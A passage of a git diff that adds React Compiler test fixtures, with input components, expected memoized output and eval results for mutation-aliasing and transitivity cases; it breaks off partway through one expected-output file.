+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/ssa-renaming-ternary-destruction.js
@@ -0,0 +1,21 @@
+// @enablePropagateDepsInHIR @enableNewMutationAliasingModel
+function useFoo(props) {
+  let x = [];
+  x.push(props.bar);
+  // todo: the below should memoize separately from the above
+  // my guess is that the phi causes the different `x` identifiers
+  // to get added to an alias group. this is where we need to track
+  // the actual state of the alias groups at the time of the mutation
+  props.cond ? (({x} = {x: {}}), ([x] = [[]]), x.push(props.foo)) : null;
+  return x;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{cond: false, foo: 2, bar: 55}],
+  sequentialRenders: [
+    {cond: false, foo: 2, bar: 55},
+    {cond: false, foo: 3, bar: 55},
+    {cond: true, foo: 3, bar: 55},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.expect.md
new file mode 100644
index 000000000000..92e1a1c3b8ec
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.expect.md
@@ -0,0 +1,158 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  mutate,
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b, c}: {a: number; b: number; c: number}) {
+  const x = useMemo(() => [{value: a}], [a, b, c]);
+  if (b === 0) {
+    // This object should only depend on c, it cannot be affected by the later mutation
+    x.push({value: c});
+  } else {
+    // This mutation shouldn't affect the object in the consequent
+    mutate(x);
+  }
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a, b, c]} output={x} />;
+      {/* TODO: should only depend on c */}
+      <ValidateMemoization inputs={[a, b, c]} output={x[0]} />;
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0, c: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0, c: 0},
+    {a: 0, b: 1, c: 0},
+    {a: 1, b: 1, c: 0},
+    {a: 1, b: 1, c: 1},
+    {a: 1, b: 1, c: 0},
+    {a: 1, b: 0, c: 0},
+    {a: 0, b: 0, c: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import {
+  mutate,
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(21);
+  const { a, b, c } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b || $[2] !== c) {
+    x = [{ value: a }];
+    if (b === 0) {
+      x.push({ value: c });
+    } else {
+      mutate(x);
+    }
+    $[0] = a;
+    $[1] = b;
+    $[2] = c;
+    $[3] = x;
+  } else {
+    x = $[3];
+  }
+  let t1;
+  if ($[4] !== a || $[5] !== b || $[6] !== c) {
+    t1 = [a, b, c];
+    $[4] = a;
+    $[5] = b;
+    $[6] = c;
+    $[7] = t1;
+  } else {
+    t1 = $[7];
+  }
+  let t2;
+  if ($[8] !== t1 || $[9] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[8] = t1;
+    $[9] = x;
+    $[10] = t2;
+  } else {
+    t2 = $[10];
+  }
+  let t3;
+  if ($[11] !== a || $[12] !== b || $[13] !== c) {
+    t3 = [a, b, c];
+    $[11] = a;
+    $[12] = b;
+    $[13] = c;
+    $[14] = t3;
+  } else {
+    t3 = $[14];
+  }
+  let t4;
+  if ($[15] !== t3 || $[16] !== x[0]) {
+    t4 = <ValidateMemoization inputs={t3} output={x[0]} />;
+    $[15] = t3;
+    $[16] = x[0];
+    $[17] = t4;
+  } else {
+    t4 = $[17];
+  }
+  let t5;
+  if ($[18] !== t2 || $[19] !== t4) {
+    t5 = (
+      <>
+        {t2};{t4};
+      </>
+    );
+    $[18] = t2;
+    $[19] = t4;
+    $[20] = t5;
+  } else {
+    t5 = $[20];
+  }
+  return t5;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0, c: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0, c: 0 },
+    { a: 0, b: 1, c: 0 },
+    { a: 1, b: 1, c: 0 },
+    { a: 1, b: 1, c: 1 },
+    { a: 1, b: 1, c: 0 },
+    { a: 1, b: 0, c: 0 },
+    { a: 0, b: 0, c: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0,0],"output":[{"value":0},{"value":0}]}</div>;<div>{"inputs":[0,0,0],"output":{"value":0}}</div>;
+<div>{"inputs":[0,1,0],"output":[{"value":0},"joe"]}</div>;<div>{"inputs":[0,1,0],"output":{"value":0}}</div>;
+<div>{"inputs":[1,1,0],"output":[{"value":1},"joe"]}</div>;<div>{"inputs":[1,1,0],"output":{"value":1}}</div>;
+<div>{"inputs":[1,1,1],"output":[{"value":1},"joe"]}</div>;<div>{"inputs":[1,1,1],"output":{"value":1}}</div>;
+<div>{"inputs":[1,1,0],"output":[{"value":1},"joe"]}</div>;<div>{"inputs":[1,1,0],"output":{"value":1}}</div>;
+<div>{"inputs":[1,0,0],"output":[{"value":1},{"value":0}]}</div>;<div>{"inputs":[1,0,0],"output":{"value":1}}</div>;
+<div>{"inputs":[0,0,0],"output":[{"value":0},{"value":0}]}</div>;<div>{"inputs":[0,0,0],"output":{"value":0}}</div>;
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.tsx
new file mode 100644
index 000000000000..c40d192468eb
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-control-flow-sensitive-mutation.tsx
@@ -0,0 +1,42 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  mutate,
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b, c}: {a: number; b: number; c: number}) {
+  const x = useMemo(() => [{value: a}], [a, b, c]);
+  if (b === 0) {
+    // This object should only depend on c, it cannot be affected by the later mutation
+    x.push({value: c});
+  } else {
+    // This mutation shouldn't affect the object in the consequent
+    mutate(x);
+  }
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a, b, c]} output={x} />;
+      {/* TODO: should only depend on c */}
+      <ValidateMemoization inputs={[a, b, c]} output={x[0]} />;
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0, c: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0, c: 0},
+    {a: 0, b: 1, c: 0},
+    {a: 1, b: 1, c: 0},
+    {a: 1, b: 1, c: 1},
+    {a: 1, b: 1, c: 0},
+    {a: 1, b: 0, c: 0},
+    {a: 0, b: 0, c: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.expect.md
new file mode 100644
index 000000000000..25f372852375
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.expect.md
@@ -0,0 +1,113 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a]);
+  const f = () => {
+    const y = typedCreateFrom(x);
+    const z = typedCapture(y);
+    return z;
+  };
+  const z = f();
+  // does not mutate x, so x should not depend on b
+  typedMutate(z, b);
+
+  // TODO: this *should* only depend on `a`
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = [{ a }];
+    const f = () => {
+      const y = typedCreateFrom(x);
+      const z = typedCapture(y);
+      return z;
+    };
+
+    const z_0 = f();
+
+    typedMutate(z_0, b);
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":[{"a":0}]}</div>
+<div>{"inputs":[0,1],"output":[{"a":0}]}</div>
+<div>{"inputs":[1,1],"output":[{"a":1}]}</div>
+<div>{"inputs":[0,0],"output":[{"a":0}]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.tsx
new file mode 100644
index 000000000000..c6bd016280d2
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/todo-transitivity-createfrom-capture-lambda.tsx
@@ -0,0 +1,34 @@
+// @enablePreserveExistingMemoizationGuarantees:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a]);
+  const f = () => {
+    const y = typedCreateFrom(x);
+    const z = typedCapture(y);
+    return z;
+  };
+  const z = f();
+  // does not mutate x, so x should not depend on b
+  typedMutate(z, b);
+
+  // TODO: this *should* only depend on `a`
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.expect.md
new file mode 100644
index 000000000000..09c4e3eaf333
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.expect.md
@@ -0,0 +1,50 @@
+
+## Input
+
+```javascript
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = [a];
+  const y = {b};
+  mutate(y);
+  y.x = x;
+  return <div>{y}</div>;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enableNewMutationAliasingModel
+function Component(t0) {
+  const $ = _c(5);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = [a];
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  let t2;
+  if ($[2] !== b || $[3] !== x) {
+    const y = { b };
+    mutate(y);
+    y.x = x;
+    t2 = <div>{y}</div>;
+    $[2] = b;
+    $[3] = x;
+    $[4] = t2;
+  } else {
+    t2 = $[4];
+  }
+  return t2;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.js
new file mode 100644
index 000000000000..e6e2e17bc0b9
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitive-mutation-before-capturing-value-created-earlier.js
@@ -0,0 +1,8 @@
+// @enableNewMutationAliasingModel
+function Component({a, b}) {
+  const x = [a];
+  const y = {b};
+  mutate(y);
+  y.x = x;
+  return <div>{y}</div>;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.expect.md
new file mode 100644
index 000000000000..0f7eebb877c4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.expect.md
@@ -0,0 +1,148 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const o: any = useMemo(() => ({a}), [a]);
+  const x: Array<any> = useMemo(() => [o], [o, b]);
+  const y = typedCapture(x);
+  const z = typedCapture(y);
+  x.push(z);
+  x.push(b);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={o} />;
+      <ValidateMemoization inputs={[a, b]} output={x} />;
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(19);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const o = t1;
+  let x;
+  if ($[2] !== b || $[3] !== o) {
+    x = [o];
+    const y = typedCapture(x);
+    const z = typedCapture(y);
+    x.push(z);
+    x.push(b);
+    $[2] = b;
+    $[3] = o;
+    $[4] = x;
+  } else {
+    x = $[4];
+  }
+  let t2;
+  if ($[5] !== a) {
+    t2 = [a];
+    $[5] = a;
+    $[6] = t2;
+  } else {
+    t2 = $[6];
+  }
+  let t3;
+  if ($[7] !== o || $[8] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={o} />;
+    $[7] = o;
+    $[8] = t2;
+    $[9] = t3;
+  } else {
+    t3 = $[9];
+  }
+  let t4;
+  if ($[10] !== a || $[11] !== b) {
+    t4 = [a, b];
+    $[10] = a;
+    $[11] = b;
+    $[12] = t4;
+  } else {
+    t4 = $[12];
+  }
+  let t5;
+  if ($[13] !== t4 || $[14] !== x) {
+    t5 = <ValidateMemoization inputs={t4} output={x} />;
+    $[13] = t4;
+    $[14] = x;
+    $[15] = t5;
+  } else {
+    t5 = $[15];
+  }
+  let t6;
+  if ($[16] !== t3 || $[17] !== t5) {
+    t6 = (
+      <>
+        {t3};{t5};
+      </>
+    );
+    $[16] = t3;
+    $[17] = t5;
+    $[18] = t6;
+  } else {
+    t6 = $[18];
+  }
+  return t6;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0],"output":{"a":0}}</div>;<div>{"inputs":[0,0],"output":[{"a":0},[["[[ cyclic ref *2 ]]"]],0]}</div>;
+<div>{"inputs":[0],"output":{"a":0}}</div>;<div>{"inputs":[0,1],"output":[{"a":0},[["[[ cyclic ref *2 ]]"]],1]}</div>;
+<div>{"inputs":[1],"output":{"a":1}}</div>;<div>{"inputs":[1,1],"output":[{"a":1},[["[[ cyclic ref *2 ]]"]],1]}</div>;
+<div>{"inputs":[0],"output":{"a":0}}</div>;<div>{"inputs":[0,0],"output":[{"a":0},[["[[ cyclic ref *2 ]]"]],0]}</div>;
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.tsx
new file mode 100644
index 000000000000..ada8679f2510
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-add-captured-array-to-itself.tsx
@@ -0,0 +1,35 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const o: any = useMemo(() => ({a}), [a]);
+  const x: Array<any> = useMemo(() => [o], [o, b]);
+  const y = typedCapture(x);
+  const z = typedCapture(y);
+  x.push(z);
+  x.push(b);
+
+  return (
+    <>
+      <ValidateMemoization inputs={[a]} output={o} />;
+      <ValidateMemoization inputs={[a, b]} output={x} />;
+    </>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.expect.md
new file mode 100644
index 000000000000..5a3388fd8e83
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.expect.md
@@ -0,0 +1,112 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}: {a: number; b: number}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const f = () => {
+    const y = typedCapture(x);
+    const z = typedCreateFrom(y);
+    return z;
+  };
+  const z = f();
+  // mutates x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = { a };
+    const f = () => {
+      const y = typedCapture(x);
+      const z = typedCreateFrom(y);
+      return z;
+    };
+
+    const z_0 = f();
+
+    typedMutate(z_0, b);
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":{"a":0,"property":0}}</div>
+<div>{"inputs":[0,1],"output":{"a":0,"property":1}}</div>
+<div>{"inputs":[1,1],"output":{"a":1,"property":1}}</div>
+<div>{"inputs":[0,0],"output":{"a":0,"property":0}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.tsx
new file mode 100644
index 000000000000..a4a2279810cc
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom-lambda.tsx
@@ -0,0 +1,33 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}: {a: number; b: number}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const f = () => {
+    const y = typedCapture(x);
+    const z = typedCreateFrom(y);
+    return z;
+  };
+  const z = f();
+  // mutates x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.expect.md
new file mode 100644
index 000000000000..9885ef17c104
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.expect.md
@@ -0,0 +1,103 @@
+
+## Input
+
+```javascript
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}: {a: number; b: number}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const y = typedCapture(x);
+  const z = typedCreateFrom(y);
+  // mutates x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(9);
+  const { a, b } = t0;
+  let x;
+  if ($[0] !== a || $[1] !== b) {
+    x = { a };
+    const y = typedCapture(x);
+    const z = typedCreateFrom(y);
+
+    typedMutate(z, b);
+    $[0] = a;
+    $[1] = b;
+    $[2] = x;
+  } else {
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== a || $[4] !== b) {
+    t1 = [a, b];
+    $[3] = a;
+    $[4] = b;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  let t2;
+  if ($[6] !== t1 || $[7] !== x) {
+    t2 = <ValidateMemoization inputs={t1} output={x} />;
+    $[6] = t1;
+    $[7] = x;
+    $[8] = t2;
+  } else {
+    t2 = $[8];
+  }
+  return t2;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 0, b: 0 }],
+  sequentialRenders: [
+    { a: 0, b: 0 },
+    { a: 0, b: 1 },
+    { a: 1, b: 1 },
+    { a: 0, b: 0 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[0,0],"output":{"a":0,"property":0}}</div>
+<div>{"inputs":[0,1],"output":{"a":0,"property":1}}</div>
+<div>{"inputs":[1,1],"output":{"a":1,"property":1}}</div>
+<div>{"inputs":[0,0],"output":{"a":0,"property":0}}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.tsx
new file mode 100644
index 000000000000..f343cc2afa27
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-capture-createfrom.tsx
@@ -0,0 +1,29 @@
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}: {a: number; b: number}) {
+  const x = useMemo(() => ({a}), [a, b]);
+  const y = typedCapture(x);
+  const z = typedCreateFrom(y);
+  // mutates x
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a, b]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.expect.md
new file mode 100644
index 000000000000..42f34bff4144
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/new-mutability/transitivity-createfrom-capture.expect.md
@@ -0,0 +1,101 @@
+
+## Input
+
+```javascript
+import {useMemo} from 'react';
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from 'shared-runtime';
+
+function Component({a, b}) {
+  const x = useMemo(() => [{a}], [a]);
+  const y = typedCreateFrom(x);
+  const z = typedCapture(y);
+  // does not mutate x, so x should not depend on b
+  typedMutate(z, b);
+
+  return <ValidateMemoization inputs={[a]} output={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 0, b: 0}],
+  sequentialRenders: [
+    {a: 0, b: 0},
+    {a: 0, b: 1},
+    {a: 1, b: 1},
+    {a: 0, b: 0},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useMemo } from "react";
+import {
+  typedCapture,
+  typedCreateFrom,
+  typedMutate,
+  ValidateMemoization,
+} from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(7);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = [{ a }];
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const x = t1;
+  const y = typedCreateFrom(x);
+  const z = typedCapture(y);
+
+  typedMutate(z, b);
+  let t2;
